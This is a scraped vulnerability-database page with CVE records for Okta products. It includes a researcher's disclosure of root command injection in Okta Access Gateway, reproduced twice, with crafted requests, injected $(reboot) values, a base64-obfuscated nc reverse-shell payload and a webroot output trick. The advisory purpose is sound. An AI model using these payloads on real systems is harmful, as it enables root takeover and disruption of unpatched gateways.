CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Assigner

Okta

References

1 reference

URL	Tags
https://github.com/okta/okta-oidc-middleware/secu…

Impacted products

1 product

Vendor	Product	Version
Okta	Okta OIDC Middleware	Affected: prior to 5.0.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T01:00:10.700Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/okta/okta-oidc-middleware/security/advisories/GHSA-58h4-9m7m-j9m4"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 4.7,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "LOW",
              "privilegesRequired": "NONE",
              "scope": "CHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2022-3145",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-08T13:36:52.687825Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-601",
                "description": "CWE-601 URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-08T13:37:49.124Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Okta OIDC Middleware",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "prior to 5.0.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "An open redirect vulnerability exists in Okta OIDC Middleware prior to version 5.0.0 allowing an attacker to redirect a user to an arbitrary URL."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "Open Redirect",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-01-12T00:00:00.000Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://github.com/okta/okta-oidc-middleware/security/advisories/GHSA-58h4-9m7m-j9m4"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2022-3145",
    "datePublished": "2023-01-12T00:00:00.000Z",
    "dateReserved": "2022-09-06T00:00:00.000Z",
    "dateUpdated": "2025-04-08T13:37:49.124Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2022-1697 (GCVE-0-2022-1697)

Vulnerability from cvelistv5 – Published: 2022-09-06 17:18 – Updated: 2024-08-03 00:10

Summary

Okta Active Directory Agent versions 3.8.0 through 3.11.0 installed the Okta AD Agent Update Service using an unquoted path. Note: To remediate this vulnerability, you must uninstall Okta Active Directory Agent and reinstall Okta Active Directory Agent 3.12.0 or greater per the documentation.

Severity

No CVSS data available.

CWE

Unquoted Search Path or Element

Assigner

Okta

References

3 references

URL	Tags
https://trust.okta.com/security-advisories/okta-a…	x_refsource_MISC
https://help.okta.com/en-us/Content/Topics/Direct…	x_refsource_MISC
https://support.okta.com/help/s/article/Security-…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Okta	Okta Active Directory Agent	Affected: 3.8.0, 3.9.0, 3.10.0, 3.11.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T00:10:03.895Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://trust.okta.com/security-advisories/okta-active-directory-agent-cve-2022-1697"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://help.okta.com/en-us/Content/Topics/Directory/ad-agent-update.htm"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://support.okta.com/help/s/article/Security-Notice-CVE-2022-1697-FAQ"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Okta Active Directory Agent",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "3.8.0, 3.9.0, 3.10.0, 3.11.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Active Directory Agent versions 3.8.0 through 3.11.0 installed the Okta AD Agent Update Service using an unquoted path. Note: To remediate this vulnerability, you must uninstall Okta Active Directory Agent and reinstall Okta Active Directory Agent 3.12.0 or greater per the documentation."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "Unquoted Search Path or Element",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-09-13T15:13:26.000Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://trust.okta.com/security-advisories/okta-active-directory-agent-cve-2022-1697"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://help.okta.com/en-us/Content/Topics/Directory/ad-agent-update.htm"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://support.okta.com/help/s/article/Security-Notice-CVE-2022-1697-FAQ"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "psirt@okta.com",
          "ID": "CVE-2022-1697",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "Okta Active Directory Agent",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "3.8.0, 3.9.0, 3.10.0, 3.11.0"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "Okta"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Okta Active Directory Agent versions 3.8.0 through 3.11.0 installed the Okta AD Agent Update Service using an unquoted path. Note: To remediate this vulnerability, you must uninstall Okta Active Directory Agent and reinstall Okta Active Directory Agent 3.12.0 or greater per the documentation."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "Unquoted Search Path or Element"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://trust.okta.com/security-advisories/okta-active-directory-agent-cve-2022-1697",
              "refsource": "MISC",
              "url": "https://trust.okta.com/security-advisories/okta-active-directory-agent-cve-2022-1697"
            },
            {
              "name": "https://help.okta.com/en-us/Content/Topics/Directory/ad-agent-update.htm",
              "refsource": "MISC",
              "url": "https://help.okta.com/en-us/Content/Topics/Directory/ad-agent-update.htm"
            },
            {
              "name": "https://support.okta.com/help/s/article/Security-Notice-CVE-2022-1697-FAQ",
              "refsource": "MISC",
              "url": "https://support.okta.com/help/s/article/Security-Notice-CVE-2022-1697-FAQ"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2022-1697",
    "datePublished": "2022-09-06T17:18:50.000Z",
    "dateReserved": "2022-05-12T00:00:00.000Z",
    "dateUpdated": "2024-08-03T00:10:03.895Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

VAR-202104-1194

Vulnerability from variot - Updated: 2023-12-18 13:32

A command injection vulnerability in the cookieDomain and relayDomain parameters of Okta Access Gateway before 2020.9.3 allows attackers (with admin access to the Okta Access Gateway UI) to execute OS commands as a privileged system account. Since the injection occurs when a script is executed with sudo, the commands are ran with root privileges.

BUG #1 - relay

Command injection as root in Applications via the 'relaydomain' field when passing parameters to generateCert.sh. This is blind injection, so without monitoring logs or local execution instrumentation, the output will not simply returned in the response.

Also, the included 'nc' binary that the system image includes has the -e flag available which enables an exploitation easier via connect back shell.

[Request]

POST /api/v1/app/idp/[valid-IDP] HTTP/1.1 Host: gw-admin.domain.tld Content-Type: application/json;charset=utf-8 X-CSRF-TOKEN: [placeholder] Content-Length: 134 Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]

{"settings": {"label":"test", "type":"CERTHEADER2015_APP", "relaydomain":"..$(whoami)", <-- HERE "groups":[], "handlers":{}} ,"policies":[{}]}

[Response /w local instrumentation for monitoring]

pid=23033 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d .root ]

[Quick testing]

"relaydomain":"..$(reboot)"

and the system should reboot.

[Exploitation for reverse shell]

Note: for some bizzare reason, this payload worked for a period of time during testing, but was not generally reproducible afterwards.

1) generate base64 for the connect back command to be executed

$ echo -n "nc 10.0.0.111 5000 -e /bin/bash" | base64 bmMgMTAuMTAuMTAuMTc5IDU1NTUgLWUgL2Jpbi9iYXNo

2) start a listener

$ nc -l -p 5000 ...

3) make the request with the payload (.. is required due to how it parses domains)

..$(echo${IFS}'bmMgMTAuMC4wLjExMSA1MDAwIC1lIC9iaW4vYmFzaA=='>test;$(base64${IFS}-d${IFS}test))

4) get a root shell from the server

connection from 10.0.0.77 * python -c 'import pty; pty.spawn("/bin/bash")'

[0] root@oag.okta.com;/root#

Note: the hostname of the local OAG test system happens to be oag.okta.com and has nothing to do with any Okta company servers.

BUG #2 - cookie

Command injection as root in Identity Providers via the 'cookieDomain' field when passing parameters to generateCert.sh.

[Request]

POST /api/v1/setting/idp/local HTTP/1.1 Host: gw-admin.domain.tld Content-Type: application/json;charset=utf-8 X-CSRF-TOKEN: [placeholder] Content-Length: 222 Cookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]

{"subCategory": "IDP_SAML_LOCAL", "json":{ "name":"Local OAG IDP", "host":"https://google.com", "cookieDomain":"$(uname${IFS}-n)", <-- HERE "nameIDFormat":"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified", "metadata":{}}, "$edit":true}

[Response /w local instrumentation for monitoring]

pid=22822 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d Linux oag 3.10.0-957.27.2.el7.x86_64

1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ]

[Quick testing]

"cookieDomain":"$(reboot)"

and the system should reboot.

[Exploitation for executing commands with output in the webroot]

Same note as the previous one; for some reason, this payload worked for a period of time during testing, but then stopped fully working (the bug was still there just less exploitable).

1) generate base64 for "ls -al /root" to be written to a location accessible via web request

$ echo -n "script -q -c ls\$IFS-al\$IFS/root /opt/oag/simpleSAMLphp/www/test.php" | base64 -w0 c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA==

2) make the request with the payload

$(echo${IFS}'c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA=='>test;$(base64${IFS}-d${IFS}test))

3) check https://gw-admin.domain.tld/auth/test.php for the output of the command

=== Fix ===

The cookie bug was a "known issue" and fixed in v2020.9.3 and the relay bug was also fixed and no longer works on the latest v2021.2.1.

https://www.okta.com/security-advisories/cve-2021-28113/

Show details on source website

JSON

To clipboard

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202104-1194",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "access gateway",
        "scope": "lte",
        "trust": 1.0,
        "vendor": "okta",
        "version": "2020.8.4"
      },
      {
        "model": "access gateway",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "okta",
        "version": "2020/9/3  before that"
      },
      {
        "model": "access gateway",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "okta",
        "version": null
      },
      {
        "model": "access gateway",
        "scope": null,
        "trust": 0.8,
        "vendor": "okta",
        "version": null
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "db": "NVD",
        "id": "CVE-2021-28113"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:okta:access_gateway:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndIncluding": "2020.8.4",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2021-28113"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Jeremy Brown",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "163428"
      }
    ],
    "trust": 0.1
  },
  "cve": "CVE-2021-28113",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "acInsufInfo": false,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "SINGLE",
            "author": "NVD",
            "availabilityImpact": "PARTIAL",
            "baseScore": 8.7,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 8.0,
            "impactScore": 9.5,
            "integrityImpact": "COMPLETE",
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "HIGH",
            "trust": 1.0,
            "userInteractionRequired": false,
            "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:P",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Low",
            "accessVector": "Network",
            "authentication": "Single",
            "author": "NVD",
            "availabilityImpact": "Partial",
            "baseScore": 8.7,
            "confidentialityImpact": "Complete",
            "exploitabilityScore": null,
            "id": "CVE-2021-28113",
            "impactScore": null,
            "integrityImpact": "Complete",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "High",
            "trust": 0.9,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:P",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "SINGLE",
            "author": "VULHUB",
            "availabilityImpact": "PARTIAL",
            "baseScore": 8.7,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 8.0,
            "id": "VHN-387508",
            "impactScore": 9.5,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.1,
            "vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:P",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "NVD",
            "availabilityImpact": "LOW",
            "baseScore": 6.7,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 1.2,
            "impactScore": 5.5,
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "trust": 2.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "OTHER",
            "availabilityImpact": "Low",
            "baseScore": 6.7,
            "baseSeverity": "Medium",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "JVNDB-2021-005124",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "High",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2021-28113",
            "trust": 1.8,
            "value": "MEDIUM"
          },
          {
            "author": "cve@mitre.org",
            "id": "CVE-2021-28113",
            "trust": 1.0,
            "value": "MEDIUM"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-202104-105",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "VULHUB",
            "id": "VHN-387508",
            "trust": 0.1,
            "value": "HIGH"
          },
          {
            "author": "VULMON",
            "id": "CVE-2021-28113",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-387508"
      },
      {
        "db": "VULMON",
        "id": "CVE-2021-28113"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "db": "NVD",
        "id": "CVE-2021-28113"
      },
      {
        "db": "NVD",
        "id": "CVE-2021-28113"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202104-105"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "A command injection vulnerability in the cookieDomain and relayDomain parameters of Okta Access Gateway before 2020.9.3 allows attackers (with admin access to the Okta Access Gateway UI) to execute OS commands as a privileged system account. \nSince the injection occurs when a script is executed with sudo, the commands are ran with root\nprivileges. \n\nBUG #1 - relay\n\nCommand injection as root in Applications via the \u0027relaydomain\u0027 field when passing\nparameters to generateCert.sh. This is blind injection, so without monitoring logs or\nlocal execution instrumentation, the output will not simply returned in the response. \n\nAlso, the included \u0027nc\u0027 binary that the system image includes has the -e flag available\nwhich enables an exploitation easier via connect back shell. \n\n[Request]\n\nPOST /api/v1/app/idp/[valid-IDP] HTTP/1.1\nHost: gw-admin.domain.tld\nContent-Type: application/json;charset=utf-8\nX-CSRF-TOKEN: [placeholder]\nContent-Length: 134\nCookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]\n\n{\"settings\":\n{\"label\":\"test\",\n\"type\":\"CERTHEADER2015_APP\",\n\"relaydomain\":\"..$(whoami)\", \u003c-- HERE\n\"groups\":[],\n\"handlers\":{}}\n,\"policies\":[{}]}\n\n[Response /w local instrumentation for monitoring]\n\npid=23033 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d .root ]\n\n[Quick testing]\n\n\"relaydomain\":\"..$(reboot)\"\n\nand the system should reboot. \n\n[Exploitation for reverse shell]\n\nNote: for some bizzare reason, this payload worked for a period of time during testing, but was not generally reproducible afterwards. \n\n1) generate base64 for the connect back command to be executed\n\n$ echo -n \"nc 10.0.0.111 5000 -e /bin/bash\" | base64\nbmMgMTAuMTAuMTAuMTc5IDU1NTUgLWUgL2Jpbi9iYXNo\n\n2) start a listener\n\n$ nc -l -p 5000\n... \n\n3) make the request with the payload (.. is required due to how it parses domains)\n\n..$(echo${IFS}\u0027bmMgMTAuMC4wLjExMSA1MDAwIC1lIC9iaW4vYmFzaA==\u0027\u003etest;$(base64${IFS}-d${IFS}test))\n\n4) get a root shell from the server\n\n* connection from 10.0.0.77 *\npython -c \u0027import pty; pty.spawn(\"/bin/bash\")\u0027\n\n[0] root@oag.okta.com;/root#\n\nNote: the hostname of the local OAG test system happens to be oag.okta.com and has nothing to do with any Okta company servers. \n\nBUG #2 - cookie\n\nCommand injection as root in Identity Providers via the \u0027cookieDomain\u0027 field when passing\nparameters to generateCert.sh. \n\n[Request]\n\nPOST /api/v1/setting/idp/local HTTP/1.1\nHost: gw-admin.domain.tld\nContent-Type: application/json;charset=utf-8\nX-CSRF-TOKEN: [placeholder]\nContent-Length: 222\nCookie: CSRF-TOKEN=[placeholder]; JSESSIONID=[placeholder]; SessionCookie=[placeholder]\n\n{\"subCategory\":\n\"IDP_SAML_LOCAL\",\n\"json\":{\n\"name\":\"Local OAG IDP\",\n\"host\":\"https://google.com\",\n\"cookieDomain\":\"$(uname${IFS}-n)\", \u003c-- HERE\n\"nameIDFormat\":\"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\",\n\"metadata\":{}},\n\"$edit\":true}\n\n[Response /w local instrumentation for monitoring]\n\npid=22822 executed [/bin/bash /opt/oag/bin/generateCert.sh -w -d Linux oag 3.10.0-957.27.2.el7.x86_64\n#1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) ]\n\n[Quick testing]\n\n\"cookieDomain\":\"$(reboot)\"\n\nand the system should reboot. \n\n[Exploitation for executing commands with output in the webroot]\n\nSame note as the previous one; for some reason, this payload worked for a period of time during testing, but then stopped fully working (the bug was still there just less exploitable). \n\n1) generate base64 for \"ls -al /root\" to be written to a location accessible via web request\n\n$ echo -n \"script -q -c ls\\$IFS-al\\$IFS/root /opt/oag/simpleSAMLphp/www/test.php\" | base64 -w0\nc2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA==\n\n2) make the request with the payload\n\n$(echo${IFS}\u0027c2NyaXB0IC1xIC1jIGxzJElGUy1hbCRJRlMvcm9vdCAvb3B0L29hZy9zaW1wbGVTQU1McGhwL3d3dy90ZXN0LnBocA==\u0027\u003etest;$(base64${IFS}-d${IFS}test))\n\n3) check https://gw-admin.domain.tld/auth/test.php for the output of the command\n\n===\nFix\n===\n\nThe cookie bug was a \"known issue\" and fixed in v2020.9.3 and the relay bug was also fixed and no longer works on the latest v2021.2.1. \n\nhttps://www.okta.com/security-advisories/cve-2021-28113/\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2021-28113"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "db": "VULHUB",
        "id": "VHN-387508"
      },
      {
        "db": "VULMON",
        "id": "CVE-2021-28113"
      },
      {
        "db": "PACKETSTORM",
        "id": "163428"
      }
    ],
    "trust": 1.89
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-387508",
        "trust": 0.1,
        "type": "unknown"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-387508"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "PACKETSTORM",
        "id": "163428",
        "trust": 2.7
      },
      {
        "db": "NVD",
        "id": "CVE-2021-28113",
        "trust": 2.7
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202104-105",
        "trust": 0.6
      },
      {
        "db": "VULHUB",
        "id": "VHN-387508",
        "trust": 0.1
      },
      {
        "db": "VULMON",
        "id": "CVE-2021-28113",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-387508"
      },
      {
        "db": "VULMON",
        "id": "CVE-2021-28113"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "db": "PACKETSTORM",
        "id": "163428"
      },
      {
        "db": "NVD",
        "id": "CVE-2021-28113"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202104-105"
      }
    ]
  },
  "id": "VAR-202104-1194",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-387508"
      }
    ],
    "trust": 0.01
  },
  "last_update_date": "2023-12-18T13:32:41.762000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Okta\u00a0security\u00a0advisories\u00a0(Okta\u00a0Access\u00a0Gateway\u00a0CVE-2021-28113)",
        "trust": 0.8,
        "url": "https://www.okta.com/security-advisories/cve-2021-28113/"
      },
      {
        "title": "Okta Access Gateway Fixes for operating system command injection vulnerabilities",
        "trust": 0.6,
        "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=146880"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202104-105"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-78",
        "trust": 1.1
      },
      {
        "problemtype": "OS Command injection (CWE-78) [NVD Evaluation ]",
        "trust": 0.8
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-387508"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2021-005124"
      },
      {
        "db": "NVD",
        "id": "CVE-2021-28113"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.6,
        "url": "http://packetstormsecurity.com/files/163428/okta-access-gateway-2020.5.5-authenticated-remote-root.html"
      },
      {
        "trust": 1.8,
        "url": "https://www.okta.com/security-advisories/cve-2021-28113"
      },
      {
        "trust": 1.5,
